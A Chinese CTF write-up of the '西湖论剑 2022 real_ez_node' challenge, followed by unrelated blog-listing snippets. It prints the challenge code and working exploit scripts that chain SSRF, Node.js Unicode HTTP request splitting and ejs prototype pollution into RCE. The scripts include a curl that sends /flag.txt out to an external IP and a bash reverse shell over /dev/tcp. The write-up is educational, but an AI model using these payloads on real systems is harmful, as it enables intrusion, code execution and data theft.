NSS [西湖论剑 2022]real_ez_node
NSS [西湖论剑 2022]real_ez_node
考点:ejs原型链污染、NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。
开题。

附件start.sh。flag位置在根目录下/flag.txt

app.js(这个没多大用)
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;
/routes/index.js(这个有用)
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应,但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;
初略审计代码发现和ejs相关,又有常造成原型链污染的函数safeobj.expand(),safeobj.expand() 把接收到的东西给放到 user 里了猜测这里是ejs模板引擎污染。
细看源码,/routes/index.js文件中/copy路由要求我们从本地(127.0.0.1)访问并且过滤了__proto__。

/routes/index.js文件中/curl有SSRF利用点。

思路是通过/curl路由利用CRLF以本地(127.0.0.1)身份向/copy发送POST请求,然后打ejs污染原型链 实现代码执行。
首先是ejs污染原型链
原理见:
EJS, Server side template injection RCE (CVE-2022-29078) - writeup | ~#whoami
JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户
ejs版本<3.1.7都能打。查看package.json,版本是3.0.1,可以原型链污染RCE。

__proto__被过滤,使用constructor.prototype绕过。
(实例对象)foo.__proto__ == (类)Foo.prototype
ejs原型链污染的payload如下(可以看作是payload模板,按题目需要改一下。)
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

(不太确定是不是这样解释,打个标记下次跟一下源码研究研究)let user = {};,user的上一层就是Object,这里应该是污染一次就够了,一个__proto__。payload改成:
{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}
}
safeobj模块里的expand方法, 直接递归按照 . 做分隔写入 obj,很明显可以原型链污染。也就是我们传入{“a.b”:“123”}会进行赋值a.b=123
绕过过滤+更改命令后,将污染ejs的payload按上述方式转换为:
{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}
补充一下safeobj.expand()的底层源码,更好理解为什么是{"constructor.prototype.outputFunctionName":这样写的,而不是{"constructor": {"prototype": {"outputFunctionName":
expand: function (obj, path, thing) {if (!path || typeof thing === 'undefined') {return;}obj = isObject(obj) && obj !== null ? obj : {};var props = path.split('.');if (props.length === 1) {obj[props.shift()] = thing;} else {var prop = props.shift();if (!(prop in obj)) {obj[prop] = {};}_safe.expand(obj[prop], props.join('.'), thing);}},
然后是HTTP响应拆分攻击(CRLF)
参考文章:
Security Bugs in Practice: SSRF via Request Splitting
NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击 - 知乎 (zhihu.com)
从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击_nssctf nodejs_shu天的博客-CSDN博客
【好文】初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台 (anquanke.com)
概述:
在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,(Node.js10中被修复),当 Node.js 使用 http.get (关键函数)向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。
原理:
Nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车\r、换行\n或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用。那就用非正常的。
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:

当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 \r(%0d)和 \n(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
\u{010D}\u{010A} 这样的 string 被编码为 latin1 之后就只剩下了 \r\n,于是就能用来做请求拆分(CRLF)了,这就是非正常的CRLF。
结合原理实践一下。若原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
…………
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET HTTP/1.1
Host: 47.101.57.72:4000
所以我们可以构造的部分:
HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET
手动构造太麻烦,上脚本吧。
payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
回归题目。
docker文件中可以看到 node版本是8.1.2(满足<=8),是存在http拆分攻击的(CRLF)。

我们把上面的脚本改改:
payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') print(payload)
千万要注意我们请求包的Content-Length。我这里为什么填175?因为我POST数据长度173,但是POST还包含了两个\n会被替换为两个\r\n,所以总长度要加2。当然,自己拿捏不准长度可以把请求放burp里面,burp重发器默认会自动帮你更新正确的Content-Length。


生成paylaod后发包:(一次出不来的话多发几次)
/curl?q=生成的payload URL编码


网上还有一种脚本,一把梭的。
import requests
import urllib.parsepayloads = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 174{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port 0>&1\\"');var __tmp2"}GET / HTTP/1.1
test:'''.replace("\n", "\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100 + ord(i))return retpayloads = payload_encode(payloads)print(payloads)
r = requests.get('http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payloads))
print(r.text)
相关文章:
NSS [西湖论剑 2022]real_ez_node
NSS [西湖论剑 2022]real_ez_node 考点:ejs原型链污染、NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。 开题。 附件start.sh。flag位置在根目录下/flag.txt app.js(这个没多大用) var createError require(http-errors); var express require(express); v…...
MySQL常用函数集锦 --- 字符串|数值|日期|流程函数总结
个人主页:兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【MySQL学习专栏】🎈 本专栏旨在分享学习MySQL的一点学习心得,欢迎大家在评论区讨论💌 目录 一、字符…...
GaussDB(DWS)云原生数仓技术解析:湖仓一体,体验与大数据互联互通
文章目录 前言一、关于数据仓库需求场景分类二、数据仓库线下部署场景2.1、线下部署场景介绍及优劣势说明2.2、线下部署场景对应的客户需求 三、数据仓库公有云部署场景3.1、公有云部署场景介绍及优劣势说明3.2、公有云部署场景对应的客户需求 四、为何重视数据共享(…...
Navicat历史版本下载及地址组成分析
下载地址组成 https://download3.navicat.com/download/navicat161_premium_cs_x64.exe 地址逻辑:前缀 版本 类型 语言 位数 前缀: http://download.navicat.com/download/navicat版本: 三位数,前两位是大版本,后一位是小版本ÿ…...
avue之动态切换表格样式问题
动态切换 a\b 两个表格 ,a表格高度变成b的高度等问题, 解决方案:...
彻底解决ruoyi分页后总数错误的问题
问题描述 最近时不时的发现用户列表出来的数据只有24条,但是总记录数却有58条,很奇怪。各种百度查询,都是什么修改查询分页改代码,尝试后发现还是没有效果,经过各种验证发现就是SQL语句错误。 如果非要说是SQL语句没…...
SpringMVC学习笔记——1
SpringMVC学习笔记——1 一、SpringMVC简介1.1、SpringMVC概述1.2、SpringMVC快速入门1.3、Controller中访问容器中的Bean1.4、SpringMVC关键组件的浅析 二、SpringMVC的请求处理2.1、请求映射路径配置2.2、请求数据的接收2.2.1、键值对方式接收数据2.2.2、封装JavaBean数据2.2…...
20230908_python练习_selenium模块爬取网页小说练习
霍比特人小说爬取,使用 selenium 模块调用谷歌浏览器,无界面模式爬取小说网站信息,将数据按照每次2000字符在mysql中保存。 # https://www.shukuai9.com/b/324694/ # 导入需要的库 from selenium import webdriver # 导入Keys模块ÿ…...
Python:安装Flask web框架hello world示例
安装easy_install pip install distribute 安装pip easy_install pip 安装 virtualenv pip install virtualenv 激活Flask pip install Flask 创建web页面demo.py from flask import Flask app Flask(__name__)app.route(/) def hello_world():return Hello World! 2023if _…...
深度解析NLP文本摘要技术:定义、应用与PyTorch实战
目录 1. 概述1.1 什么是文本摘要?1.2 为什么需要文本摘要? 2. 发展历程2.1 早期技术2.2 统计方法的崛起2.3 深度学习的应用2.4 文本摘要的演变趋势 3. 主要任务3.1 单文档摘要3.2 多文档摘要3.3 信息性摘要 vs. 背景摘要3.4 实时摘要 4. 主要类型4.1 抽取…...
zabbix监控多实例redis
Zabbix监控多实例Redis 软件名称软件版本Zabbix Server6.0.17Zabbix Agent5.4.1Redis6.2.10 Zabbix客户端配置 编辑自动发现脚本 vim /usr/local/zabbix/scripts/redis_discovery.sh #!/bin/bash #Fucation:redis low-level discovery #Script_name redis_discovery.sh red…...
win11将visual studio 2022的调试控制台改为windows terminal
一、前言 默认的调试控制台太丑了,字体也没有好看的,还是更喜欢windows terminal 二、修改 2.1 修改之前 2.2 修改步骤 打开windows terminal点这个向下的标志 选择settings按照下图1, 2, 3步骤依次操作即可 2.3 修改之后 总结 漂亮很多了...
社区问答精选——长安链开发知多少?(8月)
本文是根据社群内开发者较为关注的问题进行整理,希望可以帮助开发者解决所遇到的问题。有更多问答在社区issue中描述更为细致,开发者提问前可以先按照关键词进行搜索。欢迎各位开发者按照问答template提交issue,也欢迎有意愿的开发者参与到社…...
神经网络-Unet网络
文章目录 前言1.seq2seq 编码后解码2. 网络结构3.特征融合4. 前言 Unet用来做小目标语义分割。 优点:网络结构非常简单。 大纲目录 2016年特别火,在细胞领域做分割特别好。 1.seq2seq 编码后解码 2. 网络结构 几个卷积层,越来越扁&#x…...
Java | 多线程综合练习
不爱生姜不吃醋⭐️ 如果本文有什么错误的话欢迎在评论区中指正 与其明天开始,不如现在行动! 文章目录 🌴前言🌴一、卖电影票1.题目2.分析3.代码 🌴二、送礼物1. 题目2. 分析3.代码 🌴三.打印奇数1. 题目2.…...
Kotlin变量与控制条件的基本用法
一、变量与控制条件 1、var与val var:可修改变量 val:只读变量,只读变量并非绝对只读。 编译时常量只能在函数之外定义,因为函数内常量是在运行时赋值,编译时常量要在变量赋值前存在。并且值是无法修改的。 const…...
第18章_瑞萨MCU零基础入门系列教程之GPT
本教程基于韦东山百问网出的 DShanMCU-RA6M5开发板 进行编写,需要的同学可以在这里获取: https://item.taobao.com/item.htm?id728461040949 配套资料获取:https://renesas-docs.100ask.net 瑞萨MCU零基础入门系列教程汇总: ht…...
openssl websockets
1. HTTPS通信的C实现 - 知乎 GitHub - Bwar/Nebula: Nebula is a powerful framwork for building highly concurrent, distributed, and resilient message-driven applications for C....
Vue 组件的单元测试
1、基本的示例 单元测试是软件开发非常基础的一部分。单元测试会封闭执行最小化单元的代码,使得添加新功能和追踪问题更容易。Vue 的单文件组件使得为组件撰写隔离的单元测试这件事更加直接。它会让你更有信心地开发新特性而不破坏现有的实现,并帮助其他…...
海底两万里的思维导图,轻松了解整体的内容
《海底两万里》是一部经典的科幻小说。小说以其丰富的想象力和对海底世界的描绘而闻名于世。今天我们就用思维导图的分支介绍这个作品到底讲了什么。(思维导图示例:迅捷画板) 《海底两万里》是“凡尔纳三部曲”中的第二部(其它两部…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
Rust 异步编程
Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
OpenLayers 分屏对比(地图联动)
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能,和卷帘图层不一样的是,分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...
